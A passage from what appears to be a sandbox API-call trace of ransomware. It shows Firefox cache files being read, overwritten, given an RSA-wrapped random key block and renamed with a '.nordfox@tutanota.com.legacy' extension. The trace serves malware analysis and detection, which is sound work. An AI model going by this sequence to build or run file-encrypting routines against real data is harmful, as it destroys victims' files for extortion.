lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0188.049] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0188.049] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.049] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1188*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1188*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.049] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1188*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1188*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.050] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.050] CloseHandle (hObject=0x1b80) returned 1 [0188.050] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d3521e1d174fcb4103705b4338e3ab106525cc9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d3521e1d174fcb4103705b4338e3ab106525cc9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e16b0 | out: pbBuffer=0x30e16b0) returned 1 [0188.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.053] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2", dwFileAttributes=0x80) returned 1 [0188.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1ad0 [0188.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d226bbbf0930c513e215adfb7b666d0dca9b9d2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.054] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1234) returned 1 [0188.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x619c48 [0188.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x30f3888 [0188.055] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0188.098] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.098] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0188.098] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0188.098] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.098] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e16b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e16b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.098] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e16b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e16b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.098] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.098] CloseHandle (hObject=0x1b80) returned 1 [0188.099] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d226bbbf0930c513e215adfb7b666d0dca9b9d2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d226bbbf0930c513e215adfb7b666d0dca9b9d2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2940 | out: pbBuffer=0x30e2940) returned 1 [0188.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33", dwFileAttributes=0x80) returned 1 [0188.101] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2838 [0188.101] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5cc1482042ea552d42db375cf62e1959edfd4f33"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.102] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3822) returned 1 [0188.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xeee) returned 0x30f3888 [0188.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xeee) returned 0x30f4780 [0188.102] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xeee, lpOverlapped=0x0) returned 1 [0188.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.110] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4780*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xeee, lpOverlapped=0x0) returned 1 [0188.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xeee [0188.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.111] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2940*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.111] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.111] CloseHandle (hObject=0x1b80) returned 1 [0188.111] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5cc1482042ea552d42db375cf62e1959edfd4f33"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5cc1482042ea552d42db375cf62e1959edfd4f33.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2940 | out: pbBuffer=0x30e2940) returned 1 [0188.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.114] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3", dwFileAttributes=0x80) returned 1 [0188.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1ad0 [0188.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5b9196645bd157422af27c7daa67799558b3fdf3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.115] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10263) returned 1 [0188.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2817) returned 0x30f3888 [0188.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2817) returned 0x30e3060 [0188.115] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x2817, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x2817, lpOverlapped=0x0) returned 1 [0188.117] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-10263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.117] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x2817, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2817, lpOverlapped=0x0) returned 1 [0188.117] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2817 [0188.117] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.117] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.117] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2940*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.118] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.118] CloseHandle (hObject=0x1b80) returned 1 [0188.118] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5b9196645bd157422af27c7daa67799558b3fdf3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5b9196645bd157422af27c7daa67799558b3fdf3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2100 | out: pbBuffer=0x30e2100) returned 1 [0188.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.120] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC", dwFileAttributes=0x80) returned 1 [0188.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1290 [0188.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.120] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a78256218e560b4d9035cc52a989756691dfaec"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.121] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3888) returned 1 [0188.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf30) returned 0x30f3888 [0188.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf30) returned 0x30f47c0 [0188.121] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0188.128] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.128] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f47c0*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f47c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0188.129] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf30 [0188.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2100*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2100*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.129] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2100*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2100*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.129] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.129] CloseHandle (hObject=0x1b80) returned 1 [0188.130] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a78256218e560b4d9035cc52a989756691dfaec"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a78256218e560b4d9035cc52a989756691dfaec.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2208 | out: pbBuffer=0x30e2208) returned 1 [0188.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.131] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9", dwFileAttributes=0x80) returned 1 [0188.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2418 [0188.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.132] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a39fcb4ccae4a6c76307026d7c882b4ae85b1f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.133] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14232) returned 1 [0188.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3798) returned 0x30e3060 [0188.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3798) returned 0x30e6800 [0188.133] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x3798, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x3798, lpOverlapped=0x0) returned 1 [0188.145] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-14232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.145] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6800*, nNumberOfBytesToWrite=0x3798, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6800*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3798, lpOverlapped=0x0) returned 1 [0188.146] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3798 [0188.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2208*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2208*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.146] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2208*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2208*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.146] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.146] CloseHandle (hObject=0x1b80) returned 1 [0188.146] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a39fcb4ccae4a6c76307026d7c882b4ae85b1f9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a39fcb4ccae4a6c76307026d7c882b4ae85b1f9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e17b8 | out: pbBuffer=0x30e17b8) returned 1 [0188.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0188.148] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B", dwFileAttributes=0x80) returned 1 [0188.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1188 [0188.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.148] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5994efba690009a711cb274682e4797710ec767b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.149] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3831) returned 1 [0188.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef7) returned 0x30f3888 [0188.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef7) returned 0x30f4788 [0188.149] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0188.160] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.160] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0188.161] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0188.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 